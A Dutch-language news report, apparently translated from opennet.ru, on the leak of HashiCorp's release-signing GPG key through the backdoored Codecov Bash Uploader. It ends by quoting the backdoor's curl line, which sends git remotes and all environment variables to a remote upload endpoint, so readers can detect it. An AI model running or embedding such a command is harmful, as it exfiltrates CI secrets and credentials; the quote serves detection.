HashiCorp, het bedrijf bekend om de ontwikkeling van open tools zoals Vagrant, Packer, Nomad en Terraform, heeft aangekondigd dat er een lek is van een geheime GPG-sleutel die wordt gebruikt voor het genereren van digitale handtekeningen ter verificatie van releases. Aanvallers die toegang hebben gekregen tot de GPG-sleutel, hadden potentiƫle mogelijkheid om verborgen wijzigingen aan te brengen in de producten van HashiCorp, en deze te certificeren met een correcte digitale handtekening. Desondanks heeft het bedrijf verklaard dat tijdens een audit geen sporen van poging tot dergelijke aanpassingen zijn gevonden.
De compromitteerde GPG-sleutel is inmiddels ingetrokken en er is een nieuwe sleutel geĆÆntroduceerd. Het probleem betreft alleen de verificatie met behulp van de bestanden SHA256SUM en SHA256SUM.sig, en heeft geen invloed gehad op de generatie van digitale handtekeningen voor DEB- en RPM-linuxpakketten die via releases.hashicorp.com worden geleverd, noch op de mechanismen voor het bevestigen van releases voor macOS en Windows (AuthentiCode).
Het lek vond plaats door het gebruik van een script van Codecov Bash Uploader (codecov-bash) in de infrastructuur, dat bedoeld is voor het uploaden van coverage-rapporten vanuit continue integratiesystemen. Tijdens een aanval op het bedrijf Codecov werd een backdoor verborgen ingebouwd in het script, waarmee wachtwoorden en versleutelingssleutels konden worden verzonden naar server aanvallers.
De aanvallers maakten gebruik van een kwetsbaarheid in het proces van het maken van de Docker-image van Codecov, waarmee toegang tot GCS (Google Cloud Storage) gegevens kon worden verkregen, die nodig waren om wijzigingen aan te brengen in het Bash Uploader-script dat werd verspreid vanaf de website codecov.io. De wijzigingen werden al op 31 januari aangebracht, bleven twee maanden ongezien en stelden de aanvallers in staat om informatie te extraheren die werd opgeslagen in de omgevingen van de continue integratiesystemen van klanten. Door middel van de toegevoegde kwaadaardige code konden aanvallers informatie verkrijgen over de geteste Git-repository en alle omgevingsvariabelen, inclusief tokens, versleutelingssleutels en wachtwoorden die werden doorgegeven aan de continue integratiesystemen voor toegang tot de applicatiecode, opslagplaatsen en diensten zoals Amazon Web Services en GitHub.
Naast de directe aanroep werd de Codecov Bash Uploader ook gebruikt binnen andere uploaders, zoals Codecov-action (Github), Codecov-circleci-orb en Codecov-bitrise-step, waarvan de gebruikers ook kwetsbaar zijn voor het probleem. Alle gebruikers van codecov-bash en gerelateerde producten wordt aangeraden om een audit van hun infrastructuren uit te voeren en ook hun wachtwoorden en encryptiesleutels te wijzigen. Het is mogelijk om te controleren op een backdoor in het script door te zoeken naar de volgende regel: curl -sm 0.5 -d "$(git remote -v)<<< ENV $(env)" http:///upload/v2 || true
Bron: opennet.ru
